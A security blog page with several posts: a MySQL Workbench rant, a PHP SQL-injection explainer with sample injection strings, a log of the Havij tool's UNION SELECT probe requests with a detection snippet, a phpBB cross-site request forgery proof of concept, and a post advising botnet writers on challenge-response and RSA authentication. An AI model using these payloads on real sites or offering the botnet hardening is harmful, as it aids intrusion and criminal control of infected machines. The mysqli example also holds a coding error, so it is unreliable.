MySQL Workbench is a pile of shit

I’m sure there’s plenty of people who would beg to differ, but in my opinion MySQL Workbench is a huge festering pile of shit.

Those of you who have been dealing with MySQL for more than a few years will remember that the administrative applications used to be separate. We had MySQL Query Browser and MySQL Administrator as separate programs. This worked quite well because each program’s goal was individual, so they could strive for an application that did its job well.

The MySQL Query Browser was designed to provide the same sort of interface that phpMyAdmin. It was relatively lightweight and only really had issues when dealing with intensive or laggy queries. MySQL Administrator was also pretty good at its job. It worked out of the box and provided a fast way to monitor and tweak your MySQL server instance.

Now MySQL Workbench tries to combine the two along with a database modelling tool. Anyone with any design experience and sense will immediately realise the problem with this. It means that they can no longer tailor the design and structure of the application to suit a particular task. Instead, it all has to be a generic one-size-fits-all solution that doesn’t do any of its jobs in an optimal way. One would expect that anyone developing an SQL server would understand this problem, but sadly not. You need to put the work in to develop a tool that works well, rather than just grabbing a generic off-the-shelf solution and shipping it.

Here’s a few specific gripes:

  • Uses three times the memory the old apps did.
  • Leaks memory like a hippocampectomy patient.
  • Performs horribly and freezes frequently.
  • One tool causing a crash (this happens often) crashes the rest of the tools.
  • You have to give the administrator tool full access credentials to your remote machine, i.e. an administrative user on the machine (yes, I’m serious)
  • On Linux you have to provide SSH access to the administrator tool.
  • On Windows you have to enable remote WMI and allow it through the firewall.
  • Random bugs occur (e.g. broken fonts, UI glitches, freezes) and don’t tend to get patched explicitly, though they do randomly get fixed on some platforms.
  • Interface is cluttered.
  • Tab names and sub-tab names aren’t descriptive, making it difficult to do much at once.

Seems to be that the Oracle model of software development is “if it ain’t broke, fuck with it until it’s broken”.

Advertisements

MySQL in PHP – Everyone is doing it wrong

Ok, so maybe not everyone. But, for the mostpart, people are doing MySQL queries wrong in their PHP code. What’s even scarier is that 90% of PHP tutorials I read teach it wrong, too.

Here’s why:

  • mysql_ functions are to be deprecated in future and have been advised against by the PHP developers.
  • Concatenating query parameters as strings will always introduce SQL injection holes.
  • The mysql_real_escape_string function doesn’t actually prevent SQL injection.
  • Your custom validation is broken. It has always been broken and it always will be broken. Because you will always miss something.

If you’re doing any of the above, you’re doing it wrong.

Here’s an example:

$user_id = mysql_real_escape_string($_GET['id']);
$query = "SELECT * FROM users WHERE id = {$user_id}";
$result = mysql_query($query);

Seems legit? Nope. I can inject that.

page.php?id= 0 OR 1=1

Whoops! You just returned your entire user table. Now, let’s make it worse:

page.php?id= 0 OR 1=1 AND is_admin=1 LIMIT 1

Still unconvinced by how nasty this is?

$id = mysql_real_escape_string($_GET['id']); // 1 OR 1=1
$query = "DELETE FROM table WHERE id = {$id}";

Oh shit, you just lost all your table data. Ain’t that a bitch?

Here’s the sane way to do it with mysqli:

$db = new mysqli( /* database connection info here */ );
$statement = $db->prepare("SELECT * FROM users WHERE id = ?");
$statement = bind_param("i", $_GET['id']);
$statement->execute();

This causes the data (in this case the id) to be completely isolated from any query language.

Here’s a checklist of “doing it right”:

  • Use PDO or mysqli to create parameterised queries.
  • Don’t allow any string concatenation for values.
  • Avoid string concatenation for query language, except where absolutely necessary.
  • When concatenating, use patterns that isolate user input from the query, e.g. $sort = ($_GET['sort'] == "asc" ? "ASC" : "DESC")
  • Validate all inputs using cast functions (e.g. intval) and regex to avoid bad data being accepted. This has two benefits – all your data is valid and you mitigate vulnerabilities.

Now you’ve got no excuse to be doing it wrong!

Why are botnets so bad at authentication?

You’d think that people writing botnets would be well versed in systems security, but from a quick look around I see that most botnets have some serious problems. The biggest issue with any botnet is command and control. How can the owner communicate with their bot nodes without having people steal their botnet by sniffing the traffic? Very few botnets out there seem to do anything to solve this issue, which baffles me. I recently found a botnet’s command and control channel on IRC and sat in there with a nickname similar to one of the bots and waited. The owner came online, authenticated with a password:

* jaxcx (none@C7A8F60F.70A4D926.D9A031DB.IP) has joined #jaxcnc
<jaxcx> .login gemma_2008
<j1F87E5A5> b 0 1 1 16701
<j81E0690F> b 0 1 0 25811
...
<jA18A5DF3> b 0 1 0 30246
<jaxcx> .av add avast.exe
<jaxcx> .c
* jaxcx (none@C7A8F60F.70A4D926.D9A031DB.IP) Quit (Quit)

I then logged in as him (.login gemma_2008) and tried some commands. After some playing about, I discovered his botnet ran as a process called ‘scvhost.exe’, which I then added to the bot’s AV list just as he added Avast. They all quit due to ping timeout a few minutes later.

The fatal flaw there was authentication – everything was simple plaintext. At an absolute minimum you’d expect challenge-response (CHAP) style login:

<owner> .auth
<bot1234> challenge 4356462135
<bot4567> challenge 3023843571
<bot4321> challenge 5430587478
<owner> .login bot1234 e737b251fb9581502c91e56d95cbe43e
<bot1234> .ok bot5678 owner 325e117a80e658027dd60ea2101823ae
<bot1234> .ok bot4321 owner 51d8e811dc92e387e037f91944218491

Confusing? Let’s break it down line by line.

<owner> .auth
The owner asks to authenticate to the botnet.

<bot1234> challenge 4356462135
<bot4567> challenge 3023843571
<bot4321> challenge 5430587478

The bots give a challenge value which the user must append to his password, which he then hashes with MD5. The owner only has to authenticate to one bot.

<owner> .login bot1234 e737b251fb9581502c91e56d95cbe43e
The owner decides to authenticate to bot1234, so he calculates the MD5 hash of “password4356462135” and uses it to log in. The bot verifies that the hash matches.

<bot1234> .ok bot5678 owner 325e117a80e658027dd60ea2101823ae
<bot1234> .ok bot4321 owner 51d8e811dc92e387e037f91944218491

The bot that was authenticated to now authenticates to the other bots on behalf of the user.

Of course this is just an example. It could be improved by using private messages to perform all the authentication, or by having a more secure password challenge format. The holy grail is, of course, asymmetric cryptography. Since the .NET framework makes it trivial to use RSA, one could simply authenticate by taking a random challenge value and producing a digital signature for it. The botnet clients have the public key embedded in them, which is then used to prove the authenticity of the user.

What I really don’t understand is why these methods aren’t being used. Are bot writers really that lazy, or am I missing something?

Blocking automated SQL injection

SQL injection vulnerabilities represent a majority percentage of security holes that end up resulting in a website being hacked. One of the most popular automated SQL injection tools in existence is Havij, which is especially popular because of its simplicity. Using it is pretty much a case of pointing it at a vulnerable URL and clicking a button. Its popularity is such that there are almost as many Google results for “havij sql” as there are for “automatic sql injection”.

I decided to take a look at Havij’s HTTP request footprint. Here’s what I got from a test attack:

/havij.php?id=1
/havij.php?id=-9.9
/havij.php?id=1%20and%201=1
/havij.php?id=1%20and%201=0
/havij.php?id=1'%20and%20'x'='x
/havij.php?id=1'%20and%20'x'='y
/havij.php?id=1"%20and%20"x"="x
/havij.php?id=1"%20and%20"x"="y
/havij.php?id=1%20and%201=1
/havij.php?id=1'
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
/havij.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--

The first two requests are used to find a keyword that is on both the valid page and an error page. The next 8 requests are used for recon to test if the site is vulnerable to SQL injections. The rest are UNION SELECT injections used to attempt to discover the column count in the SQL query. When the column count is correct, the repeated token will appear in the output of the page.

Interestingly, 0x31303235343830303536 is a token that Havij just happens to use. It represents “1025480056” in ASCII, which doesn’t seem to have any interesting properties. Perhaps the constant was encoded in little endian and it corresponds to the US cellphone number ‘560-084-5201’. Or, more likely, it was just chosen at random. What’s important is that it seems to be exactly the same every time you run it. A quick Google search supports this theory.

Anyway, the use of this constant is great news for anyone defending from SQL injection attacks. Just put the following PHP code in a common include (i.e. a script that gets included in every user-facing page) and it’ll prevent Havij from working:

<?php
foreach($_GET as $gv)
    if(strpos($gv, '0x31303235343830303536') !== FALSE) die('SQL injection attempt detected.');
foreach($_POST as $pv)
    if(strpos($pv, '0x31303235343830303536') !== FALSE) die('SQL injection attempt detected.');
foreach($_COOKIE as $cv)
    if(strpos($cv, '0x31303235343830303536') !== FALSE) die('SQL injection attempt detected.');
?>

Obviously this isn’t a replacement for proper filtering of data used in queries, but it’s a quick and effective way to ward the script kiddies away.

XSRF in phpBB, and probably a lot of other CMS software.

Major forums such as vBulletin and Invision Power Board have recently altered a lot of their codebase to require a security token to prevent their previous vulnerability to XSRF (Cross Site Request Forgery). Unfortunately, phpBB seems to be lagging behind a little and has not yet added this feature.

To test, I set up phpBB 3.0.9 with the default settings, then went to my server and created the following script:

<?php
header('Location: http://target.com/phpbb/ucp.php?mode=logout');
?>

I then used the [img] tags in phpBB to point at the above script. Upon viewing the post, I was logged out. Obviously this is a problem (it would be very annoying to users) but the real worry is that an attacker finds a URL that does something nasty. Imagine if an admin was logged into a board’s ACP and viewed such an image.

I can imagine there’s a huge number of content management systems out there that have this problem, too. Any situation where a user can select a remote resource to be accessed by the browser (images are the obvious one, but even a link can be malicious in this sense) is problematic, because it would allow XSRF.

The obvious solution, which some sites are already using, is some sort of link-cookie system whereby each link has a security token embedded to prove that the request came from a legitimate source. The first method I thought of for generating these tokens is a hash of the session ID, but came to realise that since a lot of CMS software places the session ID in the URL, it might be leaked using the HTTP referrer header. So, after that consideration, here’s my example:

<?php
// when a session is created, set $_SESSION['url_xsrf_key'] to a random string.
// this keeps the key specific to the session, but cannot be broken through leaked referrer URLs.
// I'm also hashing with the session ID to prevent (albeit unlikely) collisions of url_xsrf_key.

function GenerateLogoutLink()
{
    // hashing the path is important as it prevents use of known keys on other URLs
    $logout_path = $settings->siteBase . "/logout.php";
    $key = md5(session_id() . $_SESSION['url_xsrf_key'] . $logout_path);
    return $logout_path . '?k=' . $key;
}

function ValidateRequest()
{
    if(!isset($_GET['k'])) return false;
    if($_GET['k'] == "") return false;
    $logout_path = $settings->siteBase . "/logout.php";
    return $_GET['k'] == md5(session_id() . $_SESSION['url_xsrf_key'] . $logout_path);
}
?>

As long as every script on the site that is user-facing (i.e. not an include) uses this system, it’s safe against this form of XSRF.

Update
I’m using this post to create a short list of major CMS softwares and websites that are vulnerable to XSRF on at least the logout page. I tested with the above PHP script and a mod_rewrite rule to fake a .jpg extension. Not all of these can be attacked directly, since they don’t allow users to post images. However, a malicious user could find another site that a target user frequents and post an image on there that performs the XSRF attack.

Forums:
phpBB 3.0.9
TinyBB 1.4.2
Serendepity 1.5.5
Blogs:
WordPress 3.2.1
b2evo 4.0.5
Generic CMS:
PHP-Fusion 7.02.03
Drupal 7.2
Concrete5 5.4.2
Websites:
Google Mail
YouTube
Blogger
Blogger
Google (via Google accounts)
Google AdSense
Google AdWords
Jaiku (yet another Google service)
Google Wave
Hotmail (a.k.a. Windows Live Mail)
Slashdot
Typo3